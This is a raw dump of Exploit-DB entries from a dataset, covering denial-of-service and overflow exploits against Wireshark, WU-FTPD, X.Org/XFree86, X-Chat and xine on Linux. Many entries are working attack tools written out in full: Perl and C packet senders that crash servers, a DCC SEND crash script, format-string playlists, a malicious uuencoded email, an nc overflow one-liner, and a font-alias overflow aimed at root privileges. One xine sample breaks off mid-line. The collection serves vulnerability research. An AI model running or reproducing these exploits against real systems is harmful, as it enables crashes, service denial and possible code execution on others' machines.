deardaniel/secdata-raw huggingface dataset:
Exploit-DB #33224
Description: Wireshark 1.2.1 - GSM A RR Dissector packet.c Remote Denial of Service
Type: dos
Platform: linux
Date: 2009-09-15
Author: Buildbot Builder

Exploit:
source: https://www.securityfocus.com/bid/36408/info
  
Wireshark is prone to multiple denial-of-service vulnerabilities.
  
Exploiting these issues may allow attackers to crash the application and deny service to legitimate users.
  
These issues affect Wireshark 0.99.6 through 1.2.1.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33224.pcap
Exploit-DB #33222
Description: Wireshark 1.2.1 - OpcUa Dissector Resource Exhaustion (Denial of Service)
Type: dos
Platform: linux
Date: 2009-09-15
Author: Buildbot Builder

Exploit:
source: https://www.securityfocus.com/bid/36408/info

Wireshark is prone to multiple denial-of-service vulnerabilities.

Exploiting these issues may allow attackers to crash the application and deny service to legitimate users.

These issues affect Wireshark 0.99.6 through 1.2.1.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33222.pcap
Exploit-DB #33223
Description: Wireshark 1.2.1 - TLS Dissector 1.2 Conversation Handling Remote Denial of Service
Type: dos
Platform: linux
Date: 2009-09-15
Author: Buildbot Builder

Exploit:
source: https://www.securityfocus.com/bid/36408/info
 
Wireshark is prone to multiple denial-of-service vulnerabilities.
 
Exploiting these issues may allow attackers to crash the application and deny service to legitimate users.
 
These issues affect Wireshark 0.99.6 through 1.2.1.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33223.zip
Exploit-DB #35432
Description: Wireshark 1.4.3 - NTLMSSP Null Pointer Dereference Denial of Service
Type: dos
Platform: linux
Date: 2011-03-01
Author: Buildbot Builder

Exploit:
source: https://www.securityfocus.com/bid/46796/info

Wireshark is prone to a remote denial-of-service vulnerability caused by a NULL-pointer dereference error.

An attacker can exploit this issue to crash the application, resulting in a denial-of-service condition. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/35432.pcap
Exploit-DB #4347
Description: Wireshark < 0.99.5 - DNP3 Dissector Infinite Loop
Type: dos
Platform: linux
Date: 2007-08-31
Author: Beyond Security

Exploit:
#!/usr/bin/perl
# Automatically generated by beSTORM(tm)
# Copyright Beyond Security (c) 2003-2007 ($Revision: 3741 $)

# Attack vector:
# M0:P0:B0.BT0:B0.BT0:B0.BT0:B0.BT0

# Module:
# DNP3

use strict;
use warnings;

use Getopt::Std;
use IO::Socket::INET;

$SIG{INT} = \&abort;

my $host = '192.168.4.52';
my $port = 20000;
my $proto = 'udp';
my $sockType = SOCK_DGRAM;
my $timeout = 1;

#Read command line arguments
my %opt;
my $opt_string = 'hH:P:t:';
getopts( "$opt_string", \%opt );

if (defined $opt{h}) {
    usage()
}

$host = $opt{H} ? $opt{H} : $host;
$port = $opt{P} ? $opt{P} : $port;
$timeout = $opt{t} ? $opt{t} : $timeout;

my @commands = (
{Command => 'Send',
 Data => "\x05\x64\x15\xC2\x01\x00\x00\x00\x00\x00\xC3\xC0\x01\x01\x00". "\x01\x07\x08\x01\x02\x03\x04\x05\x06\x07\x08"},
{Command => 'Receive'},

);

###
# End user configurable part
###

#1. Create a new connection
my $sock = new IO::Socket::INET (
                PeerAddr => $host,
    PeerPort => $port,
    Proto => $proto,
                Type => $sockType,
                Timeout => $timeout,
            )
    or die "socket error: $!\n\n";

print "connected to: $host:$port\n";

$sock->autoflush(1);
binmode $sock;

#2. communication part

foreach my $command (@commands)
{
    if ($command->{'Command'} eq 'Receive')
    {
        my $buf = receive($sock, $timeout);
        if (length $buf)
        {
            print "received: [$buf]\n";
        }
    }
    elsif ($command->{'Command'} eq 'Send')
    {
        print "sending: [".$command->{'Data'}."]\n";
        send ($sock, $command->{'Data'}, 0) or die "send failed, reason: $!\n";
    }
}

#3. Close connection
close ($sock);

#The end

sub receive
{
 my $sock = shift;
 my $timeout = shift;

 my $tmpbuf;
 my $buf = "";

 while(1)
 { # Example from perldoc -f alarm
  eval {
    local $SIG{ALRM} = sub { die "timeout\n" };
    alarm $timeout;

    my $ret = read $sock, $tmpbuf, 1; #We read data one byte at a time.
    if ( !defined $ret or $ret == 0 )
    { #EOF
        die "timeout\n";
    }

    alarm 0;
    $buf .= $tmpbuf;
  };
  if ($@) { #time out
    if($@ eq "timeout\n")
    {
        last;
    }
    else {
        die "receive aborted\n";
    }
  }
 } #while
 return $buf;
}

sub abort
{
    print "aborting...\n";
    if ($sock)
    {
        close $sock;
    }
    die "User aborted operation\n";
}
sub usage
{
 print "usage: $0 [-hHPt]\n";
 print "-h\t: this help message\n";
 print "-H\t: override default host - $host\n";
 print "-P\t: override default port - $port\n";
 print "-t\t: set socket timeout in seconds\n";
 exit 0;
}

# milw0rm.com [2007-08-31]
Exploit-DB #22033
Description: WSMP3 0.0.1/0.0.2 - Multiple Buffer Overflow Vulnerabilities
Type: dos
Platform: linux
Date: 2002-11-25
Author: dong-h0un U

Exploit:
source: https://www.securityfocus.com/bid/6239/info

Several buffer overflow conditions have been reported for WSMP3. The vulnerability is due to improper bounds checking when copying data to local buffers.

An attacker can exploit this vulnerability by sending an overly long request to the vulnerable server. This will trigger the buffer overflow condition, resulting in memory corruption. Ovewriting sensitive memory with malicious values may allow an attacker to execute arbitrary code on the target system.

(echo "GET `perl -e 'print \"x\"x2000'`";cat)|nc 0 8000
Exploit-DB #115
Description: WU-FTPD 2.6.2 - 'wuftpd-freezer.c' Remote Denial of Service
Type: dos
Platform: linux
Date: 2003-10-31
Author: Angelo Rosiello

Exploit:
/*
*		 (c) Rosiello Security
*
* Copyright Rosiello Security 2003
*	 All Rights reserved.
*
* Tested on Red Hat 9.0
*
* Author: Angelo Rosiello
* Mail	: angelo rosiello org
* This software is only for educational purpose.
* Do not use it against machines different from yours.
* Respect law.
*
*/

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>

void addr_initialize( );
void usage( );

int main( int argc, char **argv )
{
	int i, sd, PORT, loop, error;
	char user[30], password[30], ch;
	struct sockaddr_in server_addr;

	fprintf( stdout, "\n(c) Rosiello Security 2003\n" );
	fprintf( stdout, "http://www.rosiello.org\n" );
	fprintf( stdout, "WU-FTPD 2.6.2 Freezer by Angelo Rosiello\n\n" );

	if( argc != 6 ) usage( argv[0] );

	if( strlen( argv[3] ) > 20 ) exit( 0 );
	if( strlen( argv[4] ) > 20 ) exit( 0 );

	sprintf( user, "USER %s\n", argv[3] );
	sprintf( password, "PASS %s\n", argv[4] );

	PORT = atoi( argv[2] );
	loop = atoi( argv[5] );

	addr_initialize( &server_addr, PORT, ( long )inet_addr( argv[1] ));
	sd = socket( AF_INET, SOCK_STREAM, 0 );

	error = connect( sd, ( struct sockaddr * ) &server_addr, sizeof( server_addr ));
	if( error != 0 )
	{
		perror( "Something wrong with the connection" );
		exit( 0 );
	}

	while ( ch != '\n' )
	{
		recv( sd, &ch, 1, 0);
		printf("%c", ch );
	}

	ch = '\0';

	printf( "Connection executed, now waiting to log in...\n" );

	printf( "%s", user );

	send( sd, user, strlen( user ), 0 );
	while ( ch != '\n' )
	{
		recv( sd, &ch, 1, 0);
		printf("%c", ch );
	}
	printf( "%s", password );

	ch = '\0';

	send( sd, password, strlen( password ), 0 );
	while ( ch != '\n' )
	{
		recv( sd, &ch, 1, 0);
		printf("%c", ch );
	}

	printf( "Sending the DoS query\n" );
	for( i=0; i<loop; i++ )
	{
		write( sd, "LIST -w 1000000 -C\n", 19 );
	}
	printf( "All done\n" );
	close( sd );
	return 0;
}

void addr_initialize (struct sockaddr_in *address, int port, long IPaddr)
{
	address -> sin_family = AF_INET;
	address -> sin_port = htons((u_short)port);
	address -> sin_addr.s_addr = IPaddr;
}

void usage( char *program )
{
	fprintf(stdout, "USAGE: <%s> <IP> <PORT> <USER> <PASS> <LOOP>\n", program);
	exit(0);
}


// milw0rm.com [2003-10-31]
Exploit-DB #21518
Description: X Window 4.0/4.1/4.2 - System Oversized Font Denial of Service
Type: dos
Platform: linux
Date: 2002-06-10
Author: Tom Vogt

Exploit:
source: https://www.securityfocus.com/bid/4966/info

X Window System behaves unpredictably when handling an overly large font size. If an attacker can pass an overly large font size to X Window System, it is possible to cause a denial of service condition.

Remote exploitation of this issue is possible via web clients or other applications which do not check that the font size is sane before passing it to the X Window System. This is reported to be a problem with xfs (X Font Server) and the libXfont component.

This is reported to affect various X Window System implementations, including XFree86.

Include a huge font size in your style sheet definition, e.g.:
body { font-size: 1666666px; }
Exploit-DB #23438
Description: X-Chat 2.0.6 - Remote Denial of Service
Type: dos
Platform: linux
Date: 2003-12-15
Author: Stefan Hecker

Exploit:
source: https://www.securityfocus.com/bid/9217/info

It has been reported that X-Chat may be prone to a remote denial of service vulnerability that may allow an attacker to crash the client by sending a malicious 'DDC SEND' request.

X-Chat version 2.0.6 running on a Linux platform has been reported to be affected by this issue resulting in a crash. Although unconfirmed, it is possible that other versions are affected as well. This issue is similar to mIRC DCC SEND Buffer Overflow Vulnerability 

#!/usr/bin/perl -w
use IO::Socket;
# get irc server to connect to, and nick to exploit.
print "Enter Serv: "; chomp($serv=<STDIN>);
print "Enter Nick: "; chomp($nick=<STDIN>);

#setup connection
$ocket = IO::Socket::INET->new(
                        PeerAddr=>"$serv",
			PeerPort=>'6667'
			) || die "could not connect to $serv: $!";

#$| = 1;
#$ocket->autoflush();
$line="";
until($line =~ /Ident/){
	$oldline=$line;
	$line = <$ocket>;
	if($oldline ne $line) {print $line;}
}

print $ocket "user ident irc name ircname\n";  #send ident/ircname info

$line="";
until($line =~/PING/){
	$oldline=$line;
	$line = <$ocket>;
	if ($oldline ne $line) {print $line;}
}


$line =~ s/.*://;
print $ocket "PONG :$line\n";
print $ocket "nick thssmnck\n";
print $ocket "privmsg $nick :DCC SEND \"a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a \"[PII_REDACTED] 666\n";
Exploit-DB #29939
Description: X.Org X Window System Xserver 1.3 - XRender Extension Divide by Zero Denial of Service
Type: dos
Platform: linux
Date: 2007-05-01
Author: Derek Abdine

Exploit:
source: https://www.securityfocus.com/bid/23741/info

X.Org X Window System Xserver is prone to a denial-of-service vulnerabilty because the software fails to properly handle exceptional conditions.

Attackers who can connect to a vulnerable X server may exploit this issue to crash the targeted server, denying futher service to legitimate users.

X.Org X Window System Xserver 1.3.0 is vulnerable to this issue; other versions may also be affected. 

pTraps[0].top = 13275;
pTraps[0].bottom = 26791;
pTraps[0].left.p1.x = 26765;
pTraps[0].left.p1.y = 13802;
pTraps[0].left.p2.x = 48451;
pTraps[0].left.p2.y = 1366;
pTraps[0].right.p1.x = 45782;
pTraps[0].right.p1.y = 14369;
pTraps[0].right.p2.x = 50685;
pTraps[0].right.p2.y = 3518;

pTraps[1].top = 52058;
pTraps[1].bottom = 56949;
pTraps[1].left.p1.x = 7641;
pTraps[1].left.p1.y = 35604;
pTraps[1].left.p2.x = 18593;
pTraps[1].left.p2.y = 60832;
pTraps[1].right.p1.x = 45277;
pTraps[1].right.p1.y = 1073;
pTraps[1].right.p2.x = 51659;
pTraps[1].right.p2.y = 1073;

pTraps[2].top = 53368;
pTraps[2].bottom = 18772;
pTraps[2].left.p1.x = 34644;
pTraps[2].left.p1.y = 11603;
pTraps[2].left.p2.x = 24261;
pTraps[2].left.p2.y = 13272;
pTraps[2].right.p1.x = 54806;
pTraps[2].right.p1.y = 46200;
pTraps[2].right.p2.x = 5052;
pTraps[2].right.p2.y = 22005;
Exploit-DB #18159
Description: XChat 2.8.9 - Heap Overflow Denial of Service
Type: dos
Platform: linux
Date: 2011-11-25
Author: Jane Doe

Exploit:
#!/usr/bin/python

# Exploit Title: XChat Heap Overflow DoS Proof of Concept
# Date: June 2011
# Author: th3p4tri0t
# Software Link: http://xchat.org/
# Version: <= 2.8.9

# This only works on XChat on KDE, I'm not sure about windows.
# It has been tested on Ubuntu (failed), Kubuntu, and Bactrack 5
# It is a heap overflow and is some sort of error with X Windows
# It uses 1537 (this is the minimum) of the ascii value 20
# after this, an unknown number of any other character (did not check for special
# characters) is required to trigger a crash, presumably the payload will go here. 

# th3p4tri0t

import socket

print "XChat PoC Exploit by th3p4tri0t\n"

print "Creating server..."
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print "    [*] Binding to socket..."
sock.bind(('127.0.0.1', 6667))

print "    [*] Listening on socket..."
sock.listen(5)

print "    [*] Accepting connection..."
(target, address) = sock.accept()

print "    [*] Sending payload..."
buffer = "hybrid7.debian.local "
buffer += chr(20) * 1537         # minimum required of this character
buffer += "A"*4000               # anything can go here and it still works.
buffer += " :*\r\n"

target.send(buffer)

target.close
sock.close
Exploit-DB #23690
Description: XFree86 4.x - CopyISOLatin1Lowered Font_Name Buffer Overflow
Type: dos
Platform: linux
Date: 2004-02-12
Author: Greg MacManus

Exploit:
source: https://www.securityfocus.com/bid/9652/info

It has been reported that the XFree86 X Windows system is prone to a local buffer overflow vulnerability. The issue arises from improper bounds checking when parsing the 'font.alias' file. Successful exploitation of this issue may allow an attacker to gain root privileges to the affected system.

# cat > fonts.dir <<EOF 
1
word.bdf -misc-fixed-medium-r-semicondensed--13-120-75-75-c-60-iso8859-1
EOF
# perl -e 'print "data " . "0" x 2048 . "A" x 96 . "\n"' > fonts.alias
# X :0 -fp $PWD
Exploit-DB #19950
Description: XFree86 X11R6 3.3.5/3.3.6/4.0 Xserver - Denial of Service
Type: dos
Platform: linux
Date: 2000-05-18
Author: Chris Evans

Exploit:
/*
source: https://www.securityfocus.com/bid/1235/info

A denial of service exists in XFree86 3.3.5, 3.3.6 and 4.0. A remote user can send a malformed packet to the TCP listening port, 6000, which will cause the X server to be unresponsive for some period of time. During this time, the keyboard will not respond to user input, and in some cases, the mouse will also not respond. During this time period, the X server will utilize 100% of the CPU, and can only be repaired by being signaled. This vulnerability exists only in servers compiled with the XCSECURITY #define set. This can be verified by running the following:
strings /path/to/XF86_SVGA | grep "XC-QUERY-SECURITY-1"

To quote the Bugtraq post, by Chris Evans <chris@ferret.lmh.ox.ac.uk>:
"Observe xc/programs/Xserver/os/secauth.c, AuthCheckSitePolicy():

// dataP is user supplied data from the network
char *policy = *dataP;
int nPolicies;
...
// Oh dear, we can set nPolicies to -1
nPolicies = *policy++;
while (nPolicies) {
// Do some stuff in a loop
...
nPolicies--;
}

So, the counter "nPolicies", if seeded with -1, will decrement towards
about minus 2 billion, then wrap to become positive 2 billion, and head
towards its final destination of 0." 
*/

/* bust_x.c
 * Demonstration purposes only!
 * Chris Evans <chris@scary.beasts.org>
 */
int
main(int argc, const char* argv[])
{
  char bigbuf[201];
  short s;
  char c;

  c = -120;

  memset(bigbuf, c, sizeof(bigbuf));

  /* Little endian */
  c = 'l';
  write(1, &c, 1);
  /* PAD */
  c = 0;
  write(1, &c, 1);
  /* Major */
  s = 11;
  write(1, &s, 2);
  /* Minor */
  s = 0;
  write(1, &s, 2);
  /* Auth proto len */
  s = 19;
  write(1, &s, 2);
  /* Auth string len */
  s = 200;
  write(1, &s, 2);

  /* PAD */
  s = 0;
  write(1, &s, 2);

  /* Auth name */
  write(1, "XC-QUERY-SECURITY-1", 19);

  /* byte to round to multiple of 4 */
  c = 0;
  write(1, &c, 1);

  /* Auth data */
  /* Site policy please */
  c = 2;
  write(1, &c, 1);
  /* "permit" - doesn't really matter */
  c = 0;
  write(1, &c, 1);
  /* number of policies: -1, loop you sucker:) */
  c = -1;
  write(1, &c, 1);
  /* Negative stringlen.. 201 of them just in case, chortle... */

  write(1, bigbuf, sizeof(bigbuf));
}
Exploit-DB #22952
Description: xfstt 1.2/1.4 - Memory Disclosure
Type: dos
Platform: linux
Date: 2003-07-23
Author: V9

Exploit:
source: https://www.securityfocus.com/bid/8255/info

xfstt is reported to be prone to an unspecified memory disclosure vulnerability. This issue can be triggered by remote attackers to cause a denial of service. The server may also return details about the memory layout of the underlying system when this issue is triggered.

# telnet localhost 7101
Trying 127.0.0.1...
Connected to localhost.localdomain.
Escape character is '^]'.
xxxxxxx
HDxxxxxxx

Ã¾@Connection closed by foreign host.
Exploit-DB #22370
Description: Ximian Evolution 1.x - UUEncoding Denial of Service
Type: dos
Platform: linux
Date: 2003-03-17
Author: Core Security

Exploit:
source: https://www.securityfocus.com/bid/7118/info

A vulnerability has been discovered in the Ximian Evolution Mail User Agent (MUA). The problem occurs when the mailer attempts to process a maliciously encoded e-mail message. When attempting to decode the message, the MUA will repeatedly attempt to allocate memory, resulting in system resource exhaustion and will eventually crash.

This vulnerability affects Ximian Evolution version 1.2.2 and earlier.

From xxx@corest.com Wed Mar 5 14:06:02 2003
Subject: xxx
From: X X. X <xxx@corest.com>
To: xxx@corest.com
Content-Type: multipart/mixed; boundary="=-mTDu5zdJIsixETTwCF5Y"
Message-Id: <[PII_REDACTED].1731.5.camel@vaiolin>
Mime-Version: 1.0
Date: 05 Mar 2003 14:09:14 -0300

--=-mTDu5zdJIsixETTwCF5Y
Content-Disposition: inline; filename=name
Content-Type: application/octet-stream; name=name
Content-Transfer-Encoding: 7bit

begin 600 phase2
M8F5G:6X@-C P('!H87-E,0I-.$8U1SHV6$ M0R!0*"<Q13XG,"HS,RA&+310
M6RE%42 N,SQ9,3-1)S$T*%LU0R4Y*E0I.#-"*2 R,D19"DTP0B4Y+E4\5# C
M138W-3!(*5,E+RHB/%$R(TA7*R0@7"E%52DN5#Q0,T!)+2I4*$$V,TTW+20M7#%#,2 *32\D.%4P,T1',20@72E%42 O,SQ-,3) 1"LR7%0Q(S$@+$,Q-2PC
M(%0K,S!(+$(Q(2A$(2DQ4TTR*#1 6 I-+4)5*R)$-$@I5#4O+S,\23131%8T
M-#A(+$(Q(2A$(2DU4U4W+R186#5%53(N,SQ-,3-!-RTU*%HM4R4Y"C,J5#A-
?,U-,4#(B2$(P(B! (D(@*CDV640B0" @"B *96YD"@

end
--=-mTDu5zdJIsixETTwCF5Y--
Exploit-DB #27670
Description: Xine 0.9/1.0 - Playlist Handling Remote Format String
Type: dos
Platform: linux
Date: 2006-04-18
Author: c0ntexb

Exploit:
source: https://www.securityfocus.com/bid/17579/info

The xine package is reported prone to a remote format-string vulnerability. 

This issue arises when the application handles specially crafted playlist files. An attacker can exploit this vulnerability by crafting a malicious file that contains format specifiers and then sending the file to an unsuspecting user. 

A successful attack may crash the application or lead to arbitrary code execution. 

All versions of xine are considered vulnerable at the moment.

#EXTM3U
#EXTINFO !!All_You_Playlists_Are_Belong_To_Us - SHHEEEELLLLCCCCOOOOOODDDDDDEEEEEEEEEEE!!
AAAAAAAAAAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%.13068u%n%hn
Exploit-DB #27791
Description: Xine 0.99.x - Filename Handling Remote Format String
Type: dos
Platform: linux
Date: 2006-05-01
Author: KaDaL-X

Exploit:
source: https://www.securityfocus.com/bid/17769/info

The xine package is susceptible to a remote format-string vulnerability. 

This issue arises when the application handles specially crafted filenames. An attacker can exploit this vulnerability by crafting a malicious filename that contains format specifiers and then coercing unsuspecting users to try to execute the affected application with the malicious filename as an argument.

A successful attack may crash the application or lead to arbitrary code execution. 

Version 0.99.4 of xine is vulnerable to this issue; other versions may also be affected.

The following command is sufficient to demonstrate this issue:
xine %p-%p.mp3

This will result in a file-not-found dialog being displayed. The dialog will report that the file that was not found has a name similar to '0x811ac8e-0xbe1fdabc.mp3'
Exploit-DB #24358
Description: Xine-Lib 0.99 - Remote Buffer Overflow
Type: dos
Platform: linux
Date: 2004-07-08
Author: c0ntex

Exploit:
source: https://www.securityfocus.com/bid/10890/info

It is reported that the xine media library is affected by a remote buffer overflow vulnerability. This issue can allow a remote attacker to gain unauthorized access to a vulnerable computer.

xine-lib rc-5 and prior versions are reportedly affected by this issue. xine versions 0.99.2 and prior are also vulnerable.

<asx version = "3.0">
<title>Open Security Media Archive</title>
<author>Brought to you by c0ntex[at]open-security.org</author>
<abstract>
SongList:
Track 1 - Open Security Rock(s) -> SOAD - Chop Suey
Track 2 - Open Security Rock(s) -> Media Mayhem Militia
</abstract>
<entry>
<title>System Of A Down - Chop Suey</title>
<author>c0ntex[at]open-security.org</author>
<copyright>?2004</copyright>
<Ref href = "http://sunscreen/SOAD-ChopSuey.mp3"/>
</entry>
<entry>
<title>All your media are belong to us!</title>
<author>c0ntex[at]open-security.org</author>
<copyright>?2004</copyright>
<Ref href = "vcd://
Exploit-DB #5458
Description: Xine-Lib 1.1.12 - NSF demuxer Stack Overflow (PoC)
Type: dos
Platform: linux
Date: 2008-04-16
Author: Guido Landi

Exploit:
xine-lib <= 1.1.12 is prone to a stack-based buffer overflow in the NES 
Sound Format demuxer(demux_nsf.c).


- Code

open_nsf_file():

109: this->title = strdup(&header[0x0E]);

demux_nsf_send_chunk():

122: char title[100];
162: sprintf(title, "%s, song %d/%d",
            this->title, this->current_song, this->total_songs);


- Affected applications

http://xinehq.de/index.php/releases


- PoC

perl -e 'print 
"\x4E\x45\x53\x4D\x1A\x01\x01\x01\x80\x80\x18\x8A\x03\x8A" . "\x41" x 
114' > evil.mp3

# milw0rm.com [2008-04-16]
Exploit-DB #31002
Description: Xine-Lib 1.1.9 - 'rmff_dump_cont()' Remote Heap Buffer Overflow (PoC)
Type: dos
Platform: linux
Date: 2008-01-09
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/27198/info

The xine-lib library is prone to a remote heap-based buffer-overflow vulnerability. This issue occurs because the software fails to perform adequate boundary checks on user-supplied data.

An attacker can exploit this issue to execute arbitrary code with the privileges of the user running the affected application. Failed exploit attempts will result in a denial-of-service condition.

This issue affects xine-lib 1.1.9 and prior versions. 

The following proof-of-concept SDP data is available:

a=Abstract:buffer;'QUFBQUFBQUFBQUFBQUFB...40000_of_QUFBQUFB's...FBQUFB'

When decoding 'QUFBQUFB', the portion will be decoded to 'AAAAAA'.